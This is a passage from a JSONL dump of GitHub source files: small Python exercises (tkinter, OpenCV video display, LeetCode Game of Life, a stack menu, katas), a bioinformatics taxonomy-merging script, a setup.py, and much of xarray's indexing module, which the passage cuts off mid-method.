rowspan=4)\n\nroot.mainloop()\n","repo_name":"ismonnar/my_python","sub_path":"tkinter_project.py","file_name":"tkinter_project.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42250977577","text":"import cv2\r\nfrom IPython.display import clear_output, Image, display\r\n\r\ndef show_video(video_path, show_text=''):\r\n video = cv2.VideoCapture(video_path)\r\n\r\n while True:\r\n try:\r\n clear_output(wait=True)\r\n # 读取视频\r\n ret, frame = video.read()\r\n if not ret:\r\n break\r\n height, width, _ = frame.shape\r\n cv2.putText(frame, show_text, (0, 100), cv2.FONT_HERSHEY_TRIPLEX, 3.65, (255, 0, 0), 2)\r\n frame = cv2.resize(frame, (int(width / 2), int(height / 2)))\r\n _, ret = cv2.imencode('.jpg', frame)\r\n display(Image(data=ret))\r\n except KeyboardInterrupt:\r\n video.release()\r\n \r\n#视频路径\r\nshow_video('video/output.avi')","repo_name":"URLinkEVA/python-practiceCode","sub_path":"项目/字符串视频/视频播放.py","file_name":"视频播放.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18405539919","text":"from itertools import accumulate; from math import floor,ceil,sqrt; import operator; import random; import string; from bisect import *; from collections import deque, defaultdict, Counter, OrderedDict; from functools import reduce,cache; from heapq import *; import unittest; from typing import List,Optional; from functools import cache; from operator import lt, gt\nfrom binary_tree_tester import ser,des; from a_linked_list import make_linked_list\ndef get_sol(): return Solution()\n\nclass Solution:\n def gameOfLife(self, mat: List[List[int]]) -> None:\n LIVE,LIVE_TO_DEAD,LIVE_TO_LIVE=1,3,5 # all odd. LIVE_TO_something\n DEAD,DEAD_TO_DEAD,DEAD_TO_LIVE=0,2,4 # all even. DEAD_TO_something\n # also possible with these\n # LIVE,LIVE_TO_DEAD=1,3 # all odd. LIVE_TO_something\n # DEAD,DEAD_TO_LIVE=0,2 # all even. DEAD_TO_something\n def wasAlive(x,y): return mat[x][y]%2==1\n def nextState(x,y):\n liveNeighbours=0\n for dx,dy in [(1,0),(0,1),(-1,0),(0,-1),(1,1),(1,-1),(-1,1),(-1,-1)]:\n X,Y=x+dx,y+dy\n if 0<=X3:\n return LIVE_TO_DEAD\n return LIVE_TO_LIVE\n else: # was dead\n if liveNeighbours==3:\n return DEAD_TO_LIVE\n return DEAD_TO_DEAD\n\n\n m,n= len(mat), len(mat[0])\n for i in range(m):\n for j in range(n):\n mat[i][j]=nextState(i,j)\n\n for i in range(m):\n for j in range(n):\n if mat[i][j] in [LIVE_TO_LIVE,DEAD_TO_LIVE]: # something_TO_LIVE\n mat[i][j]=LIVE\n else: # elif mat[i][j] in [DEAD_TO_DEAD,LIVE_TO_DEAD] # something_TO_DEAD\n mat[i][j]=DEAD\nclass Solution2:\n # https://www.youtube.com/watch?v=aXAuZ6oGano\n def gameOfLife(self, board: List[List[int]]) -> None:\n m,n=len(board),len(board[0])\n LIVE,DEAD,LIVE_to_DEAD,DEAD_to_LIVE=1,0,2,3\n\n def valid(i,j):\n if i>=m or j>=n or i<0 or j<0: return False\n return True\n\n def get_state(i, j):\n cnt=0\n for dx,dy in [(1,0),(-1,0),(0,1),(0,-1),(1,1),(1,-1),(-1,1),(-1,-1)]:\n x,y=i+dx,j+dy\n if valid(x,y):\n if board[x][y]==LIVE or board[x][y]==LIVE_to_DEAD:\n cnt+=1\n if board[i][j]==LIVE or board[i][j]==LIVE_to_DEAD:\n if cnt<2 or cnt>3:\n return LIVE_to_DEAD\n return LIVE\n elif board[i][j]==DEAD or board[i][j]==DEAD_to_LIVE:\n if cnt==3:\n return DEAD_to_LIVE\n return DEAD\n\n for i in range(m):\n for j in range(n):\n state=get_state(i,j)\n board[i][j]=state\n\n for i in range(m):\n for j in range(n):\n if board[i][j]==LIVE_to_DEAD:\n board[i][j]=DEAD\n elif board[i][j]==DEAD_to_LIVE:\n board[i][j]=LIVE\n\nclass Tester(unittest.TestCase):\n def test01(self):\n board=[[0,1,0],[0,0,1],[1,1,1],[0,0,0]]\n get_sol().gameOfLife(board)\n self.assertEqual([[0,0,0],[1,0,1],[0,1,1],[0,1,0]],board)\n def test02(self):\n board=[[1,1],[1,0]]\n get_sol().gameOfLife(board)\n self.assertEqual([[1,1],[1,1]],board)\n def test03(self):\n board=[[0,1,0],[0,0,1],[1,1,1]]\n get_sol().gameOfLife(board)\n self.assertEqual([[0,0,0],[1,0,1],[0,1,1]],board)\n # def test04(self):\n # def test05(self):\n # def test06(self):\n # def test07(self):\n # def test08(self):\n # def test09(self):\n # def test10(self):\n # def test11(self):\n # def test12(self):\n","repo_name":"afzalsiddique/problem-solving","sub_path":"Problem_Solving_Python/leetcode/lc289.py","file_name":"lc289.py","file_ext":"py","file_size_in_byte":3897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9912408212","text":"#!/usr/bin/env python3\n\"\"\"\nRead an OTU table and a taxonomy file, then add a \"Taxonomy\" column to the OTU table\n\"\"\"\n#Zotu1 Root [rootrank, 100.0%]; Fungi [kingdom, 100.0%]; Ascomycota [phylum, 100.0%]; Saccharomycetes [class, 100.0%]; Saccharomycetales [order, 100.0%]; Debaryomycetaceae [family, 100.0%]; Debaryomyces [genus, 98.8%]; unclassified_Debaryomyces [species, 98.8%]\nimport pandas as pd\nimport os, sys\nimport argparse\n\ndef loadTaxonomy(taxonomy, fasta):\n # Load the OTU names from the fasta file\n otu_names = []\n with open(fasta, \"r\") as f:\n for line in f:\n if line.startswith(\">\"):\n otu_names.append(line.strip().split(\" \")[0][1:])\n # Load the taxonomy file\n tax = pd.read_csv(taxonomy, sep=\" \", index_col=0)\n \n # Check that the index has the size of the OTU names\n if len(otu_names) != len(tax.index):\n print(\"Error: OTU names and taxonomy file do not have the same number of OTUs\")\n sys.exit(1)\n # Rename the index to the OTU names\n tax.index = otu_names\n return tax\n\ndef condenseTaxonomy(tax):\n # Condense the taxonomy to a string like k__Kingdom; p__Phylum; c__Class; o__Order; f__Family; g__Genus; s__Species\n tax = tax.copy()\n tax[\"Taxonomy\"] = tax.apply(lambda row: \";\".join(row.dropna().astype(str)), axis=1)\n # Remove all columns except Taxonomy\n tax = tax.drop(tax.columns.difference([\"Taxonomy\"]), axis=1)\n return tax\n\nif __name__ == \"__main__\":\n args = argparse.ArgumentParser()\n args.add_argument(\"-i\", \"--input\", help=\"Input OTU table\", required=True)\n args.add_argument(\"-f\", \"--fasta\", help=\"Input FASTA file (OTUs)\", required=True)\n args.add_argument(\"-t\", \"--taxonomy\", help=\"Input taxonomy file (dadaist2 format)\", required=True)\n args.add_argument(\"-o\", \"--output\", help=\"Output OTU table\", required=True)\n args.add_argument(\"-s\", \"--otutab-separator\", help=\"Separator used in the OTU table\", default='\\t')\n args.add_argument(\"-k\", \"--index-name\", help=\"Index name\", default=\"#NAME\")\n args.add_argument(\"--condense\", help=\"Condense the taxonomy to a string\", action=\"store_true\")\n args.add_argument(\"--csv\", help=\"Print CSV rather than TSV\", action=\"store_true\")\n args = args.parse_args()\n\n OUTPUT_SEP = \"\\t\" if not args.csv else \",\"\n\n if not os.path.exists(args.input):\n print(\"Error: OTU table file not found: \" + args.input)\n sys.exit(1)\n \n if not os.path.exists(args.taxonomy):\n print(\"Error: Taxonomy file not found: \" + args.taxonomy)\n sys.exit(1)\n\n if not os.path.exists(args.fasta):\n print(\"Error: FASTA file not found: \" + args.fasta)\n sys.exit(1) \n # Read OTU table\n df = pd.read_csv(args.input, sep=args.otutab_separator, index_col=0)\n sampleNames = df.columns.values\n\n # Read taxonomy file\n taxonomy = loadTaxonomy(args.taxonomy, args.fasta)\n \n taxonomy_condensed = condenseTaxonomy(taxonomy)\n \n # Add the taxonomy joining df and taxonomy\n if args.condense:\n df = pd.concat([df, taxonomy_condensed], axis=1)\n taxonomy_condensed.index.name = \"#TAXONOMY\"\n taxonomy_condensed.to_csv(args.output + \".taxonomy.txt\", sep=OUTPUT_SEP)\n else:\n df = pd.concat([df, taxonomy], axis=1)\n taxonomy.index.name = \"#TAXONOMY\"\n taxonomy.to_csv(args.output + \".taxonomy.txt\", sep=OUTPUT_SEP)\n \n # Set index name\n df.index.name = args.index_name\n\n # Remove all rows with NaN values\n df = df.dropna(axis=0, how='any')\n \n df.to_csv(args.output, sep=OUTPUT_SEP)\n\n ","repo_name":"quadram-institute-bioscience/uflow","sub_path":"bin/addTaxonomy.py","file_name":"addTaxonomy.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73026262773","text":"from distutils.core import setup\nfrom setuptools import find_packages\nfrom pip.req import parse_requirements\n\ninstall_reqs = parse_requirements('requirements.txt', session=False)\nreqs = [str(ir.req) for ir in install_reqs]\n\nsetup(name='universal-portfolios',\n version='0.3.0',\n description='Collection of algorithms for online portfolio selection',\n url='https://github.com/Marigold/universal-portfolios',\n download_url='https://github.com/Marigold/universal-portfolios/archive/master.zip',\n author='Mojmir Vinkler',\n author_email='mojmir.vinkler@gmail.com',\n license='MIT',\n packages=find_packages(),\n package_data={\n 'universal': ['data/*.pkl']\n },\n keywords=['portfolio'],\n install_requires=reqs,\n zip_safe=False)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/Marigold_universal-portfolios/universal-portfolios-master/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"3183058561","text":"print(\"===============程式描述========================\")\nprint(\"= 程式名称:ch3-2.py =\")\nprint(\"= 程式目的:使用堆叠进行push以及pop =\")\nprint(\"==============================================\")\nMaxNum=5 #定义堆叠大小\nStack=[0,0,0,0,0] #以阵列Stack当作堆叠\nTop =0\ndef menu():\n print(\"==============================================\");\n print(\"= 1.push(加入) =\");\n print(\"= 2.pop(取出) =\"); \n print(\"= 3.结束 =\"); \n print(\"==============================================\");\n#将资料加入堆叠\ndef Push():\n global Top #Top纪录目前堆叠顶端的索引值,初始值设为-1表示堆叠为空\n while True:\n item =input(\"请输入你要push(加入)的资料:\")\n if item==\"\": break\n if(Top == MaxNum-1):\n print(\"堆叠是满的!\")\n else:\n Top=Top+1\n Stack[Top] = item \n\n#取出堆叠资料\ndef Pop():\n global Top #Top纪录目前堆叠顶端的索引值,初始值设为-1表示堆叠为空\n strTmep=\"\"\n while True:\n if(Top == -1): \n print(\"堆叠是空的!\")\n else:\n for i in range(Top,0,-1): \n strTmep=strTmep + Stack[i]\n print(\"%s 是从堆叠弹pop(取出)的资料\" % strTmep)\n input(\"请按任意键返回主选单\") \n break \n \nwhile True:\n menu()\n choice = int(input(\"请输入您的选择:\"))\n print()\n if choice==1:\n Push() #将资料加入堆叠\n elif choice==2:\n Pop() #取出堆叠资料\n elif choice==3:\n break \nprint(\"程式执行完毕!\")\n\n","repo_name":"jasperku/project","sub_path":"python/XD1902_ex/ch03/ch3-2.py","file_name":"ch3-2.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14636572844","text":"import unittest\n\nimport networkx as nx\nfrom Agent import Agent\nfrom Graphs import NCM_Graph\nfrom Population import Population\n\n\nclass TestPopulation(unittest.TestCase):\n def setUp(self):\n self.early_adopters = [1, 2]\n self.G = NCM_Graph\n self.P = Population(self.G, self.early_adopters)\n\n def test_population_init(self):\n counts = self.P.count_all()\n self.assertEqual(counts, (90, 5, 5, 0))\n neighbors = [n for n in self.P.population[0].neighbors]\n self.assertEqual(type(neighbors[0]), Agent)\n\n def test_step_all(self):\n self.P.step_all()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"rmorain/network-science","sub_path":"Project02/tests/test_population.py","file_name":"test_population.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43038451047","text":"from collections import deque\n\n\n# 木のimos\n# rootを0とする\n# fr, to のedge(fr側をroot側、to側をleaf側とする)について\n# fr側に+xする場合、rootに+=x, toに-=xする\n# to側に+xする場合、toに+=xする\n# 行きがけに数字を拾って、加算していけばよい\ndef main():\n node_end = int(input())\n nei_of = [[] for _ in range(node_end)]\n edge_list = []\n for _ in range(node_end-1):\n fr, to = map(lambda x: int(x)-1, input().split())\n nei_of[fr].append(to)\n nei_of[to].append(fr)\n edge_list.append((fr, to))\n q = int(input())\n query_list = []\n for _ in range(q):\n t, e, x = map(int, input().split())\n e -= 1\n query_list.append((t, e, x))\n\n # rootからの距離を求める\n INF = float('inf')\n que = deque()\n que.append(0)\n dist = [INF]*node_end\n dist[0] = 0\n while que:\n pre = que.popleft()\n pre_d = dist[pre]\n cur_d = pre_d + 1\n for cur in nei_of[pre]:\n if dist[cur] <= cur_d:\n continue\n dist[cur] = cur_d\n que.append(cur)\n\n imos = [0]*node_end\n for t, e, x in query_list:\n fr, to = edge_list[e]\n if dist[fr] > dist[to]:\n fr, to = to, fr\n t = 3 - t\n # frがroot側\n if t == 1:\n # root側に追加\n imos[0] += x\n imos[to] -= x\n elif t == 2:\n # leaf側に追加\n imos[to] += x\n else:\n raise\n\n # DFSで行きがけに累積和を取る\n que = deque()\n que.append(0)\n col = ['w']*node_end\n col[0] = 'b'\n while que:\n pre = que.popleft()\n for cur in nei_of[pre]:\n if col[cur] == 'b':\n continue\n col[cur] = 'b'\n imos[cur] += imos[pre]\n que.append(cur)\n\n print(*imos, sep='\\n')\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/abc187_e_0211.py","file_name":"abc187_e_0211.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8143913436","text":"def duplicate_encode(word):\n\tl1 = list(word.lower())\n\tfor index in range(len(l1)):\t\t\n\t\tlist_of_duplicates_for_item = [dup_index for dup_index, item in enumerate(l1) if item == l1[index] and l1.count(l1[index]) > 1]\t\t\t\t\n\t\tfor dup_index in list_of_duplicates_for_item: \n\t\t\tl1[dup_index] = ')'\n\n\tfor i in range(len(l1)):\n\t\tif l1.count(l1[i]) <= 1:\n\t\t\tif l1[i] == '@':\n\t\t\t\tl1[i] = '(('\n\t\t\tif l1[i] == '(':\n\t\t\t\tl1[i] = ')'\n\t\t\tif l1[i] != '@':\n\t\t\t\tl1[i] = '('\n\n\n\tword = ''.join(l1);\n\treturn word\n\n\n","repo_name":"satishjasthi/CodeWar-Kata-s","sub_path":"Duplicate Encoder.py","file_name":"Duplicate Encoder.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9120189755","text":"import functools\nimport operator\nfrom collections import defaultdict\nfrom collections.abc import Hashable\nfrom contextlib import suppress\nfrom datetime import timedelta\n\nimport numpy as np\nimport pandas as pd\n\nfrom . import duck_array_ops, nputils, utils\nfrom .pycompat import dask_array_type, integer_types\nfrom .utils import is_dict_like\n\n\ndef expanded_indexer(key, ndim):\n \"\"\"Given a key for indexing an ndarray, return an equivalent key which is a\n tuple with length equal to the number of dimensions.\n\n The expansion is done by replacing all `Ellipsis` items with the right\n number of full slices and then padding the key with full slices so that it\n reaches the appropriate dimensionality.\n \"\"\"\n if not isinstance(key, tuple):\n # numpy treats non-tuple keys equivalent to tuples of length 1\n key = (key,)\n new_key = []\n # handling Ellipsis right is a little tricky, see:\n # http://docs.scipy.org/doc/numpy/reference/arrays.indexing.html#advanced-indexing\n found_ellipsis = False\n for k in key:\n if k is Ellipsis:\n if not found_ellipsis:\n new_key.extend((ndim + 1 - len(key)) * [slice(None)])\n found_ellipsis = True\n else:\n new_key.append(slice(None))\n else:\n new_key.append(k)\n if len(new_key) > ndim:\n raise IndexError('too many indices')\n new_key.extend((ndim - len(new_key)) * [slice(None)])\n return tuple(new_key)\n\n\ndef _expand_slice(slice_, size):\n return np.arange(*slice_.indices(size))\n\n\ndef _sanitize_slice_element(x):\n from .variable import Variable\n from .dataarray import DataArray\n\n if isinstance(x, (Variable, DataArray)):\n x = x.values\n\n if isinstance(x, np.ndarray):\n if x.ndim != 0:\n raise ValueError('cannot use non-scalar arrays in a slice for '\n 'xarray indexing: {}'.format(x))\n x = x[()]\n\n if isinstance(x, np.timedelta64):\n # pandas does not support indexing with np.timedelta64 yet:\n # https://github.com/pandas-dev/pandas/issues/20393\n x = pd.Timedelta(x)\n\n return x\n\n\ndef _asarray_tuplesafe(values):\n \"\"\"\n Convert values into a numpy array of at most 1-dimension, while preserving\n tuples.\n\n Adapted from pandas.core.common._asarray_tuplesafe\n \"\"\"\n if isinstance(values, tuple):\n result = utils.to_0d_object_array(values)\n else:\n result = np.asarray(values)\n if result.ndim == 2:\n result = np.empty(len(values), dtype=object)\n result[:] = values\n\n return result\n\n\ndef _is_nested_tuple(possible_tuple):\n return (isinstance(possible_tuple, tuple) and\n any(isinstance(value, (tuple, list, slice))\n for value in possible_tuple))\n\n\ndef _index_method_kwargs(method, tolerance):\n # backwards compatibility for pandas<0.16 (method) or pandas<0.17\n # (tolerance)\n kwargs = {}\n if method is not None:\n kwargs['method'] = method\n if tolerance is not None:\n kwargs['tolerance'] = tolerance\n return kwargs\n\n\ndef get_loc(index, label, method=None, tolerance=None):\n kwargs = _index_method_kwargs(method, tolerance)\n return index.get_loc(label, **kwargs)\n\n\ndef get_indexer_nd(index, labels, method=None, tolerance=None):\n \"\"\" Call pd.Index.get_indexer(labels). \"\"\"\n kwargs = _index_method_kwargs(method, tolerance)\n\n flat_labels = np.ravel(labels)\n flat_indexer = index.get_indexer(flat_labels, **kwargs)\n indexer = flat_indexer.reshape(labels.shape)\n return indexer\n\n\ndef convert_label_indexer(index, label, index_name='', method=None,\n tolerance=None):\n \"\"\"Given a pandas.Index and labels (e.g., from __getitem__) for one\n dimension, return an indexer suitable for indexing an ndarray along that\n dimension. If `index` is a pandas.MultiIndex and depending on `label`,\n return a new pandas.Index or pandas.MultiIndex (otherwise return None).\n \"\"\"\n new_index = None\n\n if isinstance(label, slice):\n if method is not None or tolerance is not None:\n raise NotImplementedError(\n 'cannot use ``method`` argument if any indexers are '\n 'slice objects')\n indexer = index.slice_indexer(_sanitize_slice_element(label.start),\n _sanitize_slice_element(label.stop),\n _sanitize_slice_element(label.step))\n if not isinstance(indexer, slice):\n # unlike pandas, in xarray we never want to silently convert a\n # slice indexer into an array indexer\n raise KeyError('cannot represent labeled-based slice indexer for '\n 'dimension %r with a slice over integer positions; '\n 'the index is unsorted or non-unique' % index_name)\n\n elif is_dict_like(label):\n is_nested_vals = _is_nested_tuple(tuple(label.values()))\n if not isinstance(index, pd.MultiIndex):\n raise ValueError('cannot use a dict-like object for selection on '\n 'a dimension that does not have a MultiIndex')\n elif len(label) == index.nlevels and not is_nested_vals:\n indexer = index.get_loc(tuple((label[k] for k in index.names)))\n else:\n for k, v in label.items():\n # index should be an item (i.e. Hashable) not an array-like\n if not isinstance(v, Hashable):\n raise ValueError('Vectorized selection is not '\n 'available along level variable: ' + k)\n indexer, new_index = index.get_loc_level(\n tuple(label.values()), level=tuple(label.keys()))\n\n # GH2619. Raise a KeyError if nothing is chosen\n if indexer.dtype.kind == 'b' and indexer.sum() == 0:\n raise KeyError('{} not found'.format(label))\n\n elif isinstance(label, tuple) and isinstance(index, pd.MultiIndex):\n if _is_nested_tuple(label):\n indexer = index.get_locs(label)\n elif len(label) == index.nlevels:\n indexer = index.get_loc(label)\n else:\n indexer, new_index = index.get_loc_level(\n label, level=list(range(len(label)))\n )\n else:\n label = (label if getattr(label, 'ndim', 1) > 1 # vectorized-indexing\n else _asarray_tuplesafe(label))\n if label.ndim == 0:\n if isinstance(index, pd.MultiIndex):\n indexer, new_index = index.get_loc_level(label.item(), level=0)\n else:\n indexer = get_loc(index, label.item(), method, tolerance)\n elif label.dtype.kind == 'b':\n indexer = label\n else:\n if isinstance(index, pd.MultiIndex) and label.ndim > 1:\n raise ValueError('Vectorized selection is not available along '\n 'MultiIndex variable: ' + index_name)\n indexer = get_indexer_nd(index, label, method, tolerance)\n if np.any(indexer < 0):\n raise KeyError('not all values found in index %r'\n % index_name)\n return indexer, new_index\n\n\ndef get_dim_indexers(data_obj, indexers):\n \"\"\"Given a xarray data object and label based indexers, return a mapping\n of label indexers with only dimension names as keys.\n\n It groups multiple level indexers given on a multi-index dimension\n into a single, dictionary indexer for that dimension (Raise a ValueError\n if it is not possible).\n \"\"\"\n invalid = [k for k in indexers\n if k not in data_obj.dims and k not in data_obj._level_coords]\n if invalid:\n raise ValueError(\"dimensions or multi-index levels %r do not exist\"\n % invalid)\n\n level_indexers = defaultdict(dict)\n dim_indexers = {}\n for key, label in indexers.items():\n dim, = data_obj[key].dims\n if key != dim:\n # assume here multi-index level indexer\n level_indexers[dim][key] = label\n else:\n dim_indexers[key] = label\n\n for dim, level_labels in level_indexers.items():\n if dim_indexers.get(dim, False):\n raise ValueError(\"cannot combine multi-index level indexers \"\n \"with an indexer for dimension %s\" % dim)\n dim_indexers[dim] = level_labels\n\n return dim_indexers\n\n\ndef remap_label_indexers(data_obj, indexers, method=None, tolerance=None):\n \"\"\"Given an xarray data object and label based indexers, return a mapping\n of equivalent location based indexers. Also return a mapping of updated\n pandas index objects (in case of multi-index level drop).\n \"\"\"\n if method is not None and not isinstance(method, str):\n raise TypeError('``method`` must be a string')\n\n pos_indexers = {}\n new_indexes = {}\n\n dim_indexers = get_dim_indexers(data_obj, indexers)\n for dim, label in dim_indexers.items():\n try:\n index = data_obj.indexes[dim]\n except KeyError:\n # no index for this dimension: reuse the provided labels\n if method is not None or tolerance is not None:\n raise ValueError('cannot supply ``method`` or ``tolerance`` '\n 'when the indexed dimension does not have '\n 'an associated coordinate.')\n pos_indexers[dim] = label\n else:\n idxr, new_idx = convert_label_indexer(index, label,\n dim, method, tolerance)\n pos_indexers[dim] = idxr\n if new_idx is not None:\n new_indexes[dim] = new_idx\n\n return pos_indexers, new_indexes\n\n\ndef slice_slice(old_slice, applied_slice, size):\n \"\"\"Given a slice and the size of the dimension to which it will be applied,\n index it with another slice to return a new slice equivalent to applying\n the slices sequentially\n \"\"\"\n step = (old_slice.step or 1) * (applied_slice.step or 1)\n\n # For now, use the hack of turning old_slice into an ndarray to reconstruct\n # the slice start and stop. This is not entirely ideal, but it is still\n # definitely better than leaving the indexer as an array.\n items = _expand_slice(old_slice, size)[applied_slice]\n if len(items) > 0:\n start = items[0]\n stop = items[-1] + int(np.sign(step))\n if stop < 0:\n stop = None\n else:\n start = 0\n stop = 0\n return slice(start, stop, step)\n\n\ndef _index_indexer_1d(old_indexer, applied_indexer, size):\n assert isinstance(applied_indexer, integer_types + (slice, np.ndarray))\n if isinstance(applied_indexer, slice) and applied_indexer == slice(None):\n # shortcut for the usual case\n return old_indexer\n if isinstance(old_indexer, slice):\n if isinstance(applied_indexer, slice):\n indexer = slice_slice(old_indexer, applied_indexer, size)\n else:\n indexer = _expand_slice(old_indexer, size)[applied_indexer]\n else:\n indexer = old_indexer[applied_indexer]\n return indexer\n\n\nclass ExplicitIndexer(object):\n \"\"\"Base class for explicit indexer objects.\n\n ExplicitIndexer objects wrap a tuple of values given by their ``tuple``\n property. These tuples should always have length equal to the number of\n dimensions on the indexed array.\n\n Do not instantiate BaseIndexer objects directly: instead, use one of the\n sub-classes BasicIndexer, OuterIndexer or VectorizedIndexer.\n \"\"\"\n\n def __init__(self, key):\n if type(self) is ExplicitIndexer: # noqa\n raise TypeError('cannot instantiate base ExplicitIndexer objects')\n self._key = tuple(key)\n\n @property\n def tuple(self):\n return self._key\n\n def __repr__(self):\n return '{}({})'.format(type(self).__name__, self.tuple)\n\n\ndef as_integer_or_none(value):\n return None if value is None else operator.index(value)\n\n\ndef as_integer_slice(value):\n start = as_integer_or_none(value.start)\n stop = as_integer_or_none(value.stop)\n step = as_integer_or_none(value.step)\n return slice(start, stop, step)\n\n\nclass BasicIndexer(ExplicitIndexer):\n \"\"\"Tuple for basic indexing.\n\n All elements should be int or slice objects. Indexing follows NumPy's\n rules for basic indexing: each axis is independently sliced and axes\n indexed with an integer are dropped from the result.\n \"\"\"\n\n def __init__(self, key):\n if not isinstance(key, tuple):\n raise TypeError('key must be a tuple: {!r}'.format(key))\n\n new_key = []\n for k in key:\n if isinstance(k, integer_types):\n k = int(k)\n elif isinstance(k, slice):\n k = as_integer_slice(k)\n else:\n raise TypeError('unexpected indexer type for {}: {!r}'\n .format(type(self).__name__, k))\n new_key.append(k)\n\n super(BasicIndexer, self).__init__(new_key)\n\n\nclass OuterIndexer(ExplicitIndexer):\n \"\"\"Tuple for outer/orthogonal indexing.\n\n All elements should be int, slice or 1-dimensional np.ndarray objects with\n an integer dtype. Indexing is applied independently along each axis, and\n axes indexed with an integer are dropped from the result. This type of\n indexing works like MATLAB/Fortran.\n \"\"\"\n\n def __init__(self, key):\n if not isinstance(key, tuple):\n raise TypeError('key must be a tuple: {!r}'.format(key))\n\n new_key = []\n for k in key:\n if isinstance(k, integer_types):\n k = int(k)\n elif isinstance(k, slice):\n k = as_integer_slice(k)\n elif isinstance(k, np.ndarray):\n if not np.issubdtype(k.dtype, np.integer):\n raise TypeError('invalid indexer array, does not have '\n 'integer dtype: {!r}'.format(k))\n if k.ndim != 1:\n raise TypeError('invalid indexer array for {}, must have '\n 'exactly 1 dimension: '\n .format(type(self).__name__, k))\n k = np.asarray(k, dtype=np.int64)\n else:\n raise TypeError('unexpected indexer type for {}: {!r}'\n .format(type(self).__name__, k))\n new_key.append(k)\n\n super(OuterIndexer, self).__init__(new_key)\n\n\nclass VectorizedIndexer(ExplicitIndexer):\n \"\"\"Tuple for vectorized indexing.\n\n All elements should be slice or N-dimensional np.ndarray objects with an\n integer dtype and the same number of dimensions. Indexing follows proposed\n rules for np.ndarray.vindex, which matches NumPy's advanced indexing rules\n (including broadcasting) except sliced axes are always moved to the end:\n https://github.com/numpy/numpy/pull/6256\n \"\"\"\n\n def __init__(self, key):\n if not isinstance(key, tuple):\n raise TypeError('key must be a tuple: {!r}'.format(key))\n\n new_key = []\n ndim = None\n for k in key:\n if isinstance(k, slice):\n k = as_integer_slice(k)\n elif isinstance(k, np.ndarray):\n if not np.issubdtype(k.dtype, np.integer):\n raise TypeError('invalid indexer array, does not have '\n 'integer dtype: {!r}'.format(k))\n if ndim is None:\n ndim = k.ndim\n elif ndim != k.ndim:\n ndims = [k.ndim for k in key if isinstance(k, np.ndarray)]\n raise ValueError('invalid indexer key: ndarray arguments '\n 'have different numbers of dimensions: {}'\n .format(ndims))\n k = np.asarray(k, dtype=np.int64)\n else:\n raise TypeError('unexpected indexer type for {}: {!r}'\n .format(type(self).__name__, k))\n new_key.append(k)\n\n super(VectorizedIndexer, self).__init__(new_key)\n\n\nclass ExplicitlyIndexed(object):\n \"\"\"Mixin to mark support for Indexer subclasses in indexing.\"\"\"\n\n\nclass ExplicitlyIndexedNDArrayMixin(utils.NDArrayMixin, ExplicitlyIndexed):\n\n def __array__(self, dtype=None):\n key = BasicIndexer((slice(None),) * self.ndim)\n return np.asarray(self[key], dtype=dtype)\n\n\nclass ImplicitToExplicitIndexingAdapter(utils.NDArrayMixin):\n \"\"\"Wrap an array, converting tuples into the indicated explicit indexer.\"\"\"\n\n def __init__(self, array, indexer_cls=BasicIndexer):\n self.array = as_indexable(array)\n self.indexer_cls = indexer_cls\n\n def __array__(self, dtype=None):\n return np.asarray(self.array, dtype=dtype)\n\n def __getitem__(self, key):\n key = expanded_indexer(key, self.ndim)\n return self.array[self.indexer_cls(key)]\n\n\nclass LazilyOuterIndexedArray(ExplicitlyIndexedNDArrayMixin):\n \"\"\"Wrap an array to make basic and outer indexing lazy.\n \"\"\"\n\n def __init__(self, array, key=None):\n \"\"\"\n Parameters\n ----------\n array : array_like\n Array like object to index.\n key : ExplicitIndexer, optional\n Array indexer. If provided, it is assumed to already be in\n canonical expanded form.\n \"\"\"\n if isinstance(array, type(self)) and key is None:\n # unwrap\n key = array.key\n array = array.array\n\n if key is None:\n key = BasicIndexer((slice(None),) * array.ndim)\n\n self.array = as_indexable(array)\n self.key = key\n\n def _updated_key(self, new_key):\n iter_new_key = iter(expanded_indexer(new_key.tuple, self.ndim))\n full_key = []\n for size, k in zip(self.array.shape, self.key.tuple):\n if isinstance(k, integer_types):\n full_key.append(k)\n else:\n full_key.append(_index_indexer_1d(k, next(iter_new_key), size))\n full_key = tuple(full_key)\n\n if all(isinstance(k, integer_types + (slice, )) for k in full_key):\n return BasicIndexer(full_key)\n return OuterIndexer(full_key)\n\n @property\n def shape(self):\n shape = []\n for size, k in zip(self.array.shape, self.key.tuple):\n if isinstance(k, slice):\n shape.append(len(range(*k.indices(size))))\n elif isinstance(k, np.ndarray):\n shape.append(k.size)\n return tuple(shape)\n\n def __array__(self, dtype=None):\n array = as_indexable(self.array)\n return np.asarray(array[self.key], dtype=None)\n\n def transpose(self, order):\n return LazilyVectorizedIndexedArray(\n self.array, self.key).transpose(order)\n\n def __getitem__(self, indexer):\n if isinstance(indexer, VectorizedIndexer):\n array = LazilyVectorizedIndexedArray(self.array, self.key)\n return array[indexer]\n return type(self)(self.array, self._updated_key(indexer))\n\n def __setitem__(self, key, value):\n if isinstance(key, VectorizedIndexer):\n raise NotImplementedError(\n 'Lazy item assignment with the vectorized indexer is not yet '\n 'implemented. Load your data first by .load() or compute().')\n full_key = self._updated_key(key)\n self.array[full_key] = value\n\n def __repr__(self):\n return ('%s(array=%r, key=%r)' %\n 